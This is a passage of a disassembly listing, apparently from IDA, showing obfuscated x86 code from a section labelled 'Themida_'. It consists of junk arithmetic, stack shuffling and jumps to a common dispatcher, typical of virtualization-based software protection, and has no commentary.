; ---------------------------------------------------------------------------


loc_59A862:				; CODE XREF: Themida_:005AEA7Fj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		jmp	loc_5A0C10
; ---------------------------------------------------------------------------


loc_59A886:				; CODE XREF: Themida_:0059DFB0j
		pop	eax
		jmp	loc_59D83F
; ---------------------------------------------------------------------------


loc_59A88C:				; CODE XREF: Themida_:005A1F3Ej
		sub	esi, 0CB022461h
		add	eax, 6C5B08D6h
		push	esi
		jmp	loc_5AE2E5
; ---------------------------------------------------------------------------


loc_59A89D:				; CODE XREF: Themida_:005ACDC2j
		mov	edx, 70CF126Eh
		add	edx, 8F30ED96h
		sub	edi, 4F10789h
		add	edi, edx
		add	edi, 4F10789h
		pop	edx
		push	ecx
		mov	ecx, 4B5539FEh
		jmp	loc_5A61B1
; ---------------------------------------------------------------------------


loc_59A8C2:				; CODE XREF: Themida_:005A332Cj
		mov	ebx, 0A1E44CFh
		not	ebx
		sub	ebx, 7DD30D13h
		shr	ebx, 4
		jmp	loc_5AB6BC
; ---------------------------------------------------------------------------


loc_59A8D7:				; CODE XREF: Themida_:005A5655j
		mov	esi, esp
		jmp	loc_59ED78
; ---------------------------------------------------------------------------


loc_59A8DE:				; CODE XREF: Themida_:00599A56j
		sub	edx, 0DA94AF3h
		push	eax
		mov	eax, 0F174F77h
		xor	eax, 54040499h
		jmp	loc_5A9C3B
; ---------------------------------------------------------------------------


loc_59A8F4:				; CODE XREF: Themida_:005A4BB5j
		xor	esi, 3942637Fh
		sub	eax, esi
		pop	esi
		jmp	loc_59C3D2
; ---------------------------------------------------------------------------
		push	36Fh
		mov	[esp], edx
		jmp	loc_5A1F04
; ---------------------------------------------------------------------------


loc_59A90F:				; CODE XREF: Themida_:005AEAF9j
		pop	edi
		jmp	loc_59FC43
; ---------------------------------------------------------------------------


loc_59A915:				; CODE XREF: Themida_:0059CF9Cj
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59CD95
; ---------------------------------------------------------------------------


loc_59A923:				; CODE XREF: Themida_:0059EB21j
					; Themida_:005A3999j
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 2F157F5h
		jmp	loc_59A16F
; ---------------------------------------------------------------------------


loc_59A937:				; CODE XREF: Themida_:0059DEBCj
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59A93C:				; CODE XREF: Themida_:005A87B1j
		xor	edi, esi
		pop	esi
		xor	edi, 8DC7665h
		mov	ebx, edi
		jmp	loc_5AF0F5
; ---------------------------------------------------------------------------


loc_59A94C:				; CODE XREF: Themida_:005A45A4j
		mov	edi, 0FA7E1AEDh
		add	ecx, edi
		jmp	loc_59C189
; ---------------------------------------------------------------------------


loc_59A958:				; CODE XREF: Themida_:005ACFE6j
		jns	loc_59B995
		sub	eax, 8CE937E2h
		mov	esi, eax
		mov	eax, [esp]
		add	esp, 4
		push	27BEh
		mov	[esp], ebp
		jmp	$+5
		mov	ebp, 0EF37E161h
		jmp	loc_59E7DA
; ---------------------------------------------------------------------------


loc_59A985:				; CODE XREF: Themida_:0059E312j
		sub	eax, ebp
		pop	ebp
		push	edi
		mov	edi, 615B624Fh
		push	44D3h
		mov	[esp], eax
		jmp	loc_5A80AF
; ---------------------------------------------------------------------------


loc_59A99B:				; CODE XREF: Themida_:0059FAEEj
		pop	eax
		mov	edx, 55155654h
		xor	edx, eax
		pop	eax
		push	ebp
		push	ecx
		mov	ecx, 387970FAh
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		xor	ebp, 4D82555Bh
		jmp	loc_59D79B
; ---------------------------------------------------------------------------


loc_59A9BE:				; CODE XREF: Themida_:005AFA90j
		not	edi
		xor	edi, 315C08CEh
		or	edi, 2DB65AD5h
		jmp	loc_5A6EEC
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59A9D9:				; CODE XREF: Themida_:0059BB06j
		inc	ecx
		jmp	loc_59AA93
; ---------------------------------------------------------------------------


loc_59A9DF:				; CODE XREF: Themida_:0059D08Fj
		sub	dword ptr [esp], 603B7E05h
		pop	esi
		jmp	loc_5A0718
; ---------------------------------------------------------------------------


loc_59A9EC:				; CODE XREF: Themida_:005A1315j
		or	edx, 40486F74h
		add	edx, 46F702C2h
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	esi, ecx
		push	edx
		jmp	loc_5AA21F
; ---------------------------------------------------------------------------


loc_59AA08:				; CODE XREF: Themida_:005A6908j
		pop	ebx
		pop	edx
		sub	cl, 0F0h
		jmp	loc_5A7CAD
; ---------------------------------------------------------------------------


loc_59AA12:				; CODE XREF: Themida_:005ACB34j
		add	eax, 0B371528h
		mov	esi, eax
		pop	eax
		jmp	loc_5AB68B
; ---------------------------------------------------------------------------


loc_59AA1F:				; CODE XREF: Themida_:005A135Ej
		sub	edx, 6E7A051Fh
		pop	ecx
		shl	edx, 5
		push	4F82h
		mov	[esp], esi
		push	edx
		jmp	loc_59ED58
; ---------------------------------------------------------------------------


loc_59AA37:				; CODE XREF: Themida_:005A228Aj
		sub	eax, edx
		sub	eax, 16B87547h
		pop	edx
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		movzx	ax, byte ptr [eax]
		push	small 3922h
		jmp	loc_5AF54E
; ---------------------------------------------------------------------------


loc_59AA56:				; CODE XREF: Themida_:0059D963j
		add	ah, 3Fh
		jmp	loc_5A383C
; ---------------------------------------------------------------------------


loc_59AA5E:				; CODE XREF: Themida_:005AE4C2j
		xor	ebx, eax
		jmp	loc_59DC28
; ---------------------------------------------------------------------------


loc_59AA65:				; CODE XREF: Themida_:0059D4EBj
		pop	esp
		mov	[esp], ecx
		push	5175h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	ebp
		jmp	loc_59E2A9
; ---------------------------------------------------------------------------


loc_59AA7C:				; CODE XREF: Themida_:005ABF82j
		jmp	loc_598E11
; ---------------------------------------------------------------------------


loc_59AA81:				; CODE XREF: Themida_:005A5D49j
		pop	ecx
		jmp	loc_5AB170
; ---------------------------------------------------------------------------


loc_59AA87:				; CODE XREF: Themida_:005A1B7Fj
		inc	ebx
		jns	loc_598D97
		jmp	loc_59C282
; ---------------------------------------------------------------------------


loc_59AA93:				; CODE XREF: Themida_:0059A9DAj
		shr	ecx, 6
		jmp	loc_59FFE6
; ---------------------------------------------------------------------------


loc_59AA9B:				; CODE XREF: Themida_:005999DDj
		pop	ecx
		jmp	loc_5AC288
; ---------------------------------------------------------------------------


loc_59AAA1:				; CODE XREF: Themida_:0059F048j
		pop	esp
		mov	[esp], ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		jmp	loc_5A1B1E
; ---------------------------------------------------------------------------


loc_59AAB1:				; CODE XREF: Themida_:0059FDABj
		pop	edi
		jmp	loc_5A7E47
; ---------------------------------------------------------------------------


loc_59AAB7:				; CODE XREF: Themida_:0059AFCFj
		sub	dl, 3Bh
		push	ax
		mov	ah, 0B7h
		or	dl, ah
		jmp	loc_5ADA61
; ---------------------------------------------------------------------------


loc_59AAC5:				; CODE XREF: Themida_:005A1B05j
					; Themida_:005A398Cj
		xchg	edx, ebx
		inc	ebx
		jns	loc_5A7C9D
		not	ebx
		push	ecx
		mov	ecx, 0D953D005h
		add	ebx, ecx
		pop	ecx
		mov	[ecx], ebx
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		popa
		popf
		retn
; ---------------------------------------------------------------------------
		jmp	loc_5A8178
; ---------------------------------------------------------------------------


loc_59AAEA:				; CODE XREF: Themida_:005A770Dj
		push	1429h
		jmp	loc_59B349
; ---------------------------------------------------------------------------


loc_59AAF4:				; CODE XREF: Themida_:005A79AEj
		mov	[esp], edi
		push	ebx
		push	ecx
		mov	ecx, 4D101063h
		mov	ebx, 0C3B839A5h
		jmp	loc_5AEA0A
; ---------------------------------------------------------------------------


loc_59AB08:				; CODE XREF: Themida_:0059A293j
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_5A37E0
; ---------------------------------------------------------------------------


loc_59AB15:				; CODE XREF: Themida_:005A3C3Aj
		add	esi, 543DF0B0h
		add	ebx, esi
		pop	esi
		jmp	loc_5AB62C
; ---------------------------------------------------------------------------


loc_59AB23:				; CODE XREF: Themida_:005AD5FDj
		add	al, 0F9h
		add	al, dl
		sub	al, 0F9h
		pop	dx
		sub	al, 8Bh
		add	al, ch
		add	al, 8Bh
		jmp	loc_5AE0B6
; ---------------------------------------------------------------------------


loc_59AB36:				; CODE XREF: Themida_:0059DBC6j
		mov	eax, 39192449h
		neg	eax
		add	eax, 686706B9h
		push	ecx
		mov	ecx, 5CA79E6Dh
		xor	eax, ecx
		pop	ecx
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_5A3818
; ---------------------------------------------------------------------------


loc_59AB55:				; CODE XREF: Themida_:0059E121j
		pop	ebp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		sub	ebx, 6ED40959h
		add	ebx, 312E4B4Ah
		jmp	loc_59C430
; ---------------------------------------------------------------------------


loc_59AB71:				; CODE XREF: Themida_:005AB151j
		and	esi, 67EF454Eh
		xor	esi, 5A8F4E3Bh
		sub	edx, esi
		jmp	loc_59F6F1
; ---------------------------------------------------------------------------


loc_59AB84:				; CODE XREF: Themida_:0059A462j
		mov	dl, cl
		mov	ah, dl
		mov	edx, [esp]
		add	esp, 4
		mov	ecx, [esp]
		push	2459h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		jmp	loc_5AB8D3
; ---------------------------------------------------------------------------


loc_59ABBC:				; CODE XREF: Themida_:005A4B08j
		push	ecx
		mov	ecx, esp
		jmp	loc_5A883E
; ---------------------------------------------------------------------------


loc_59ABC4:				; CODE XREF: Themida_:005A013Dj
					; Themida_:005A41E2j
		pop	esi
		sub	ebp, 1191A15h
		sub	ebp, eax
		add	ebp, 1191A15h
		jmp	loc_5A8A47
; ---------------------------------------------------------------------------


loc_59ABD8:				; CODE XREF: Themida_:0059C8E8j
		mov	[esp], ebp
		mov	ebp, 60694804h
		add	eax, ebp
		pop	ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5AA9A4
; ---------------------------------------------------------------------------


loc_59ABEC:				; CODE XREF: Themida_:005A10C6j
		sub	ebx, 0F413C86h
		push	ebp
		push	ecx
		mov	ecx, 50C563B4h
		sub	ecx, 76584375h
		jle	loc_5A2A50
		sub	ecx, 218C4AE7h
		or	ecx, 758692Bh
		pop	eax


loc_59AC12:				; CODE XREF: Themida_:0059E697j
		sub	ebx, 526348FCh
		add	edi, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 160D7CA6h
		not	edx
		jmp	loc_5A0E28
; ---------------------------------------------------------------------------


loc_59AC30:				; CODE XREF: Themida_:005AE634j
		push	ebx
		mov	ebx, 18FE39FBh
		jmp	loc_59F246
; ---------------------------------------------------------------------------


loc_59AC3B:				; CODE XREF: Themida_:005A7B3Cj
		xor	ecx, [esp]
		jmp	loc_5ADC2E
; ---------------------------------------------------------------------------


loc_59AC43:				; CODE XREF: Themida_:005A248Bj
		pop	ebp
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	ecx, 108B0CE6h
		xor	ecx, 772B17BAh
		add	edx, 7E4549A7h
		jmp	loc_5A3C82
; ---------------------------------------------------------------------------


loc_59AC63:				; CODE XREF: Themida_:0059E8F7j
		push	ebx
		mov	bh, 0D0h
		xor	bh, 0Eh
		jmp	loc_5ADE3C
; ---------------------------------------------------------------------------


loc_59AC6E:				; CODE XREF: Themida_:005A00BAj
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 72F00C0h
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		xor	eax, 73F7B28Fh
		add	ebx, 615260DBh
		sub	ebx, 2AD240D1h
		add	ebx, eax
		add	ebx, 2AD240D1h
		sub	ebx, 615260DBh
		mov	eax, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5AD6CB
; ---------------------------------------------------------------------------


loc_59ACC0:				; CODE XREF: Themida_:0059B553j
		xor	ecx, 18656A8Ah
		jmp	loc_5A0131
; ---------------------------------------------------------------------------


loc_59ACCB:				; CODE XREF: Themida_:0059DAFDj
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		or	[edi+1Ch], eax
		push	dword ptr [esp]
		jmp	loc_5A6BAF
; ---------------------------------------------------------------------------


loc_59ACE0:				; CODE XREF: Themida_:005A0478j
		mov	[esp], ebp
		jmp	loc_59F2DB
; ---------------------------------------------------------------------------


loc_59ACE8:				; CODE XREF: Themida_:005A580Dj
		mov	eax, 52FF1E7Fh
		or	eax, 1C9D7902h
		add	eax, 4FF62795h
		jmp	loc_5A1D8E
; ---------------------------------------------------------------------------


loc_59ACFC:				; CODE XREF: Themida_:005A3956j
		push	60AAh
		mov	[esp], edx
		push	esi
		mov	esi, 5EB22E72h
		jmp	$+5
		sub	esi, 31AB0BF1h
		jns	loc_5AE146
		and	esi, 202F34D4h
		jge	loc_5A7A95
		pop	eax


loc_59AD28:				; CODE XREF: Themida_:0059F6A8j
		add	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		jmp	loc_5ADFDB
; ---------------------------------------------------------------------------


loc_59AD36:				; CODE XREF: Themida_:0059A21Ej
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		push	esi
		push	edi
		push	501D3E58h
		pop	edi
		xor	edi, 39434EF8h
		mov	esi, edi
		pop	edi
		jmp	loc_5A4BA9
; ---------------------------------------------------------------------------


loc_59AD56:				; CODE XREF: Themida_:005A5F6Aj
		and	edi, 0BF17D5Dh
		jmp	loc_5A3FB1
; ---------------------------------------------------------------------------


loc_59AD61:				; CODE XREF: Themida_:005AF7CBj
		pop	edx
		jmp	loc_5A8B88
; ---------------------------------------------------------------------------


loc_59AD67:				; CODE XREF: Themida_:0059FD30j
		sub	edx, edi
		add	edx, 36775A5h
		mov	edi, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_59CBD5
; ---------------------------------------------------------------------------


loc_59AD80:				; CODE XREF: Themida_:005A278Bj
					; Themida_:005A6D5Dj
		push	ebx
		mov	ebx, esp
		jmp	loc_59A3E7
; ---------------------------------------------------------------------------


loc_59AD88:				; CODE XREF: Themida_:005A82D2j
		pop	esi
		jmp	loc_5AFAC0
; ---------------------------------------------------------------------------


loc_59AD8E:				; CODE XREF: Themida_:00598DEEj
		mov	eax, [esp]
		jmp	loc_5A9919
; ---------------------------------------------------------------------------


loc_59AD96:				; CODE XREF: Themida_:0059C8AAj
		pop	ecx
		add	esp, 4
		add	ebx, 11C94550h
		add	ebx, 160D733Bh
		add	ebx, eax
		sub	ebx, 160D733Bh
		push	ecx
		push	edx
		jmp	loc_5A58D0
; ---------------------------------------------------------------------------


loc_59ADB5:				; CODE XREF: Themida_:005A53A2j
		add	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		jmp	loc_59DB02
; ---------------------------------------------------------------------------


loc_59ADC0:				; CODE XREF: Themida_:0059F635j
		push	eax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59ADC7:				; CODE XREF: Themida_:0059E278j
		and	edi, edx
		pop	edx
		jmp	loc_5A0033
; ---------------------------------------------------------------------------


loc_59ADCF:				; CODE XREF: Themida_:0059FC64j
		xor	ecx, 11BCCD48h
		add	esi, ecx
		pop	ecx
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	ebx
		mov	bh, 0E7h
		jmp	loc_599338
; ---------------------------------------------------------------------------


loc_59ADEC:				; CODE XREF: Themida_:005A73E7j
		xor	esi, edx
		pop	edx
		add	ebx, esi
		jmp	loc_5A4C3A
; ---------------------------------------------------------------------------


loc_59ADF6:				; CODE XREF: Themida_:005A543Aj
		mov	edx, 2
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5AF1EF
; ---------------------------------------------------------------------------


loc_59AE08:				; CODE XREF: Themida_:0059D741j
		pop	ebx
		sub	edx, 94A08EBh
		jmp	loc_5AF911
; ---------------------------------------------------------------------------


loc_59AE14:				; CODE XREF: Themida_:005AFA50j
		jnp	loc_59DBA5
		xor	ebp, 2C2365F3h
		and	ebp, 12C24932h
		shl	ebp, 8
		and	ebp, 22061D26h
		xor	ebp, 798C0404h
		sub	ebp, 1046C984h
		add	edi, ebp
		pop	ebp
		add	edi, ecx
		sub	edi, 6B454A80h
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		push	2
		mov	esi, [esp]
		add	esp, 4
		sub	edi, 0FAD7AF2h
		jmp	loc_5A1646
; ---------------------------------------------------------------------------


loc_59AE7B:				; CODE XREF: Themida_:005AD53Ej
		or	eax, 1FAD363Ah
		and	eax, 19255280h
		sub	eax, 0C9B449C4h
		sub	edi, eax
		pop	eax
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	ecx
		push	edx
		jmp	loc_59C51C
; ---------------------------------------------------------------------------


loc_59AE9E:				; CODE XREF: Themida_:005A8516j
		pop	eax
		add	esp, 4
		push	ebp
		sub	esp, 4
		push	6B70h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_59BCD7
; ---------------------------------------------------------------------------


loc_59AEDA:				; CODE XREF: Themida_:0059FEB5j
		push	dword ptr [esp+4]
		jmp	loc_59CEA6
; ---------------------------------------------------------------------------


loc_59AEE3:				; CODE XREF: Themida_:00598C00j
		add	ebx, eax
		jmp	loc_5A8CC3
; ---------------------------------------------------------------------------


loc_59AEEA:				; CODE XREF: Themida_:005ABD1Cj
		mov	ebx, edx
		pop	edx
		jmp	loc_5ADCF0
; ---------------------------------------------------------------------------


loc_59AEF2:				; CODE XREF: Themida_:005A6F2Dj
		pop	edx
		add	edx, 0EB50E4h
		pop	ebp
		push	ebx
		mov	ebx, 61361196h
		sub	ebp, ebx
		pop	ebx
		sub	ebp, 5ED860DAh
		add	ebp, edx
		jmp	loc_5992D6
; ---------------------------------------------------------------------------


loc_59AF10:				; CODE XREF: Themida_:005AAA24j
		add	ebp, ebx
		add	ebp, 3D9000F3h
		pop	ebx
		jmp	loc_59E220
; ---------------------------------------------------------------------------


loc_59AF1E:				; CODE XREF: Themida_:0059F856j
		add	ebp, 4767FB1Bh
		push	edi
		mov	edi, 24EC77DBh
		and	edi, 1959523Fh
		and	edi, 74751703h
		or	edi, 96C6E50h
		inc	edi
		sub	edi, 0E59B4E17h
		xor	ebp, edi
		pop	edi
		xor	ebp, 68E87FE7h
		sub	ebp, 6A7420DDh
		xor	ebp, 0FE75503Dh
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_5A8CA9
; ---------------------------------------------------------------------------


loc_59AF63:				; CODE XREF: Themida_:005A7914j
		pop	ebx
		jmp	loc_59D922
; ---------------------------------------------------------------------------


loc_59AF69:				; CODE XREF: Themida_:005A208Fj
		pop	esp
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	71CFh
		jmp	loc_5A7E62
; ---------------------------------------------------------------------------


loc_59AF8C:				; CODE XREF: Themida_:0059A3EDj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5A8E1B
; ---------------------------------------------------------------------------


loc_59AF9B:				; CODE XREF: Themida_:0059CA62j
		add	esp, 4
		shr	eax, 4
		jmp	loc_5A3F8B
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcl	word ptr [esp],	cl
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59AFB9:				; CODE XREF: Themida_:0059A52Cj
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		jmp	loc_5A45A9
; ---------------------------------------------------------------------------


loc_59AFCD:				; CODE XREF: Themida_:005ADD2Ej
		neg	dl
		jmp	loc_59AAB7
; ---------------------------------------------------------------------------


loc_59AFD4:				; CODE XREF: Themida_:005AAE34j
		push	edi
		mov	edi, 4
		jmp	loc_5A07BB
; ---------------------------------------------------------------------------


loc_59AFDF:				; CODE XREF: Themida_:005A90D6j
		and	esi, 1A403F7Ah
		jmp	loc_5A9256
; ---------------------------------------------------------------------------


loc_59AFEA:				; CODE XREF: Themida_:005AF32Fj
		add	esp, 2
		sub	ch, 0FFh
		and	ch, 3Ah
		dec	ch
		jmp	loc_5AF4FE
; ---------------------------------------------------------------------------


loc_59AFFD:				; CODE XREF: Themida_:005AC2C9j
					; Themida_:005AE1FDj
		jmp	loc_59F1F3
; ---------------------------------------------------------------------------


loc_59B002:				; CODE XREF: Themida_:005AF0E9j
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		jmp	loc_59EDFD
; ---------------------------------------------------------------------------


loc_59B00B:				; CODE XREF: Themida_:005A8A8Aj
		jmp	loc_59F2FF
; ---------------------------------------------------------------------------


loc_59B010:				; CODE XREF: Themida_:005AD069j
		shr	edx, 1
		jmp	loc_5A20E8
; ---------------------------------------------------------------------------


loc_59B017:				; CODE XREF: Themida_:005AEC1Aj
		inc	ebp
		js	loc_59FDDC
		push	edi
		mov	edi, 3F373278h
		shl	edi, 5
		push	edi
		jmp	loc_59A067
; ---------------------------------------------------------------------------


loc_59B02D:				; CODE XREF: Themida_:005A67EFj
		jno	loc_598AA6
		and	edi, 35C641F7h
		js	loc_59E3D7
		mov	ecx, edi


loc_59B041:				; CODE XREF: Themida_:0059E02Bj
		pop	esp
		mov	[esp], ecx
		mov	cl, 2
		sub	cl, 0F7h
		jmp	loc_5AA6F8
; ---------------------------------------------------------------------------


loc_59B04F:				; CODE XREF: Themida_:005A2BBAj
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		push	eax
		mov	ah, 0D1h
		mov	ch, ah
		pop	eax
		sub	ch, 0B9h
		push	edx
		push	ebx
		mov	bl, ch
		mov	dl, bl
		pop	ebx
		mov	bh, dl
		pop	edx
		mov	ecx, [esp]
		add	esp, 4
		push	edx
		mov	dl, 4Dh
		jmp	loc_5AE02E
; ---------------------------------------------------------------------------


loc_59B077:				; CODE XREF: Themida_:005AECEEj
		shr	esi, 6
		jmp	loc_5A277A
; ---------------------------------------------------------------------------


loc_59B07F:				; CODE XREF: Themida_:005AC05Ej
		mov	[esp], esi
		mov	esi, 670A3209h
		shr	esi, 8
		add	esi, 0FF98F5CEh
		sub	esp, 4
		mov	[esp], esi
		push	edi
		mov	edi, 188C72B3h
		jmp	loc_5A18CF
; ---------------------------------------------------------------------------


loc_59B0A4:				; CODE XREF: Themida_:005A7FF2j
		mov	ebx, 5E062581h
		inc	ebx
		neg	ebx
		shr	ebx, 3
		not	ebx
		xor	ebx, 35E026FFh
		sub	ebx, 73E3B93Dh
		sub	eax, ebx
		pop	ebx
		pop	edi
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mul	cx
		push	small 4B4h
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	edx
		mov	edx, 4
		jmp	loc_5AB0BB
; ---------------------------------------------------------------------------


loc_59B100:				; CODE XREF: Themida_:0059E677j
		pop	edi
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5A5A88
; ---------------------------------------------------------------------------


loc_59B116:				; CODE XREF: Themida_:005AE1E8j
		add	edx, 3C834EFEh
		jmp	loc_5AF6D8
; ---------------------------------------------------------------------------


loc_59B121:				; CODE XREF: Themida_:005A6C9Bj
		pop	ebx
		xor	edi, 3CFF2B87h
		push	eax
		mov	eax, 0A8F10D8h
		jmp	loc_5AF4D3
; ---------------------------------------------------------------------------


loc_59B133:				; CODE XREF: Themida_:00599F75j
		mov	esp, [esp]
		mov	[esp], edi
		push	61376279h
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 59201FCDh
		xor	edi, ebx
		jmp	loc_5AD1FB
; ---------------------------------------------------------------------------


loc_59B151:				; CODE XREF: Themida_:005AE699j
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_5AA9E9
; ---------------------------------------------------------------------------


loc_59B164:				; CODE XREF: Themida_:005A87D4j
					; Themida_:loc_5ABBF5j
		jmp	loc_5AAF7C
; ---------------------------------------------------------------------------


loc_59B169:				; CODE XREF: Themida_:005A27EAj
		and	al, 0C9h
		or	al, 33h
		not	al
		push	ecx
		jmp	loc_5A1AE9
; ---------------------------------------------------------------------------


loc_59B175:				; CODE XREF: Themida_:005A1905j
		mov	ecx, 33521D95h
		neg	ecx
		jle	loc_5AAD5A
		sub	ecx, 39A2348Fh
		jbe	loc_59D33B
		push	esp


loc_59B18F:				; CODE XREF: Themida_:005A1734j
		mov	[esp], eax
		push	esp
		pop	eax
		add	eax, 4
		jmp	loc_5A5FAA
; ---------------------------------------------------------------------------


loc_59B19E:				; CODE XREF: Themida_:005AFDDDj
		jmp	loc_5A4F38
; ---------------------------------------------------------------------------


loc_59B1A3:				; CODE XREF: Themida_:0059FBA2j
		push	ebx
		mov	ebx, 71C16199h
		or	ebx, 21533FE1h
		shr	ebx, 6
		push	edx
		jmp	loc_59A0B7
; ---------------------------------------------------------------------------


loc_59B1B8:				; CODE XREF: Themida_:0059A77Fj
		xchg	edi, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		push	edx
		jmp	loc_5A5660
; ---------------------------------------------------------------------------


loc_59B1C5:				; CODE XREF: Themida_:005A9AE1j
		push	dword ptr [esp+4]
		jmp	loc_5A6981
; ---------------------------------------------------------------------------


loc_59B1CE:				; CODE XREF: Themida_:005AAE6Dj
		push	34D5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5A5002
; ---------------------------------------------------------------------------


loc_59B1E3:				; CODE XREF: Themida_:005A075Ej
					; Themida_:005A93D9j
		mov	esp, [esp]
		jmp	loc_5ABFBF
; ---------------------------------------------------------------------------


loc_59B1EB:				; CODE XREF: Themida_:005A9430j
		mov	dl, 0B7h
		xor	ah, dl
		mov	edx, [esp]
		add	esp, 4
		shl	ah, 2
		jnp	loc_5A305E
		add	ah, 95h
		shl	ah, 5
		js	loc_5A99DC
		xor	ah, 9
		jmp	loc_59BEA4
; ---------------------------------------------------------------------------


loc_59B215:				; CODE XREF: Themida_:005A24FCj
		mov	[esp], ecx
		jmp	loc_5A7BB9
; ---------------------------------------------------------------------------


loc_59B21D:				; CODE XREF: Themida_:0059A351j
		push	edi
		push	ebx
		mov	ebx, 39D5792Ch
		add	ebx, 45F92B53h
		jmp	loc_59ED32
; ---------------------------------------------------------------------------


loc_59B22F:				; CODE XREF: Themida_:0059CAE4j
		sub	ch, 0B1h
		sub	ch, dl
		add	ch, 0B1h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		pop	edx
		xchg	esi, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], ax
		push	ebx
		mov	bh, 11h
		xor	bh, 0EFh
		jno	loc_59BDAA
		shl	bh, 5
		jnp	loc_59E8FC
		and	bh, 6Ch
		push	ebx


loc_59B287:				; CODE XREF: Themida_:005A7778j
		inc	eax
		jo	loc_5A4A8C
		shl	eax, 5
		jmp	loc_5A4F0B
; ---------------------------------------------------------------------------


loc_59B296:				; CODE XREF: Themida_:005A6DFAj
		push	0C8D0DE4h
		jmp	loc_5A2284
; ---------------------------------------------------------------------------


loc_59B2A0:				; DATA XREF: Themida_:00598720o
		mov	esp, [esp]
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59B2A8:				; CODE XREF: Themida_:0059912Cj
					; Themida_:0059F3EEj
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_59B2B9:				; CODE XREF: Themida_:0059D324j
		mov	[esp], ecx
		jmp	loc_5A9CEF
; ---------------------------------------------------------------------------


loc_59B2C1:				; CODE XREF: Themida_:loc_5A08ADj
		shl	edi, 8
		jz	loc_5A41BF
		shr	edi, 5
		jp	loc_5A3FE5
		add	edi, 0FD05424Ch
		add	[esp+4], edi
		mov	edi, [esp]
		mov	esi, eax


loc_59B2E2:				; CODE XREF: Themida_:005A3714j
		push	27EBh
		mov	[esp], edx
		mov	edx, 44804925h
		xor	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		shr	ecx, 7
		add	ecx, 2F129A97h
		add	eax, ecx
		jmp	loc_59D3DF
; ---------------------------------------------------------------------------


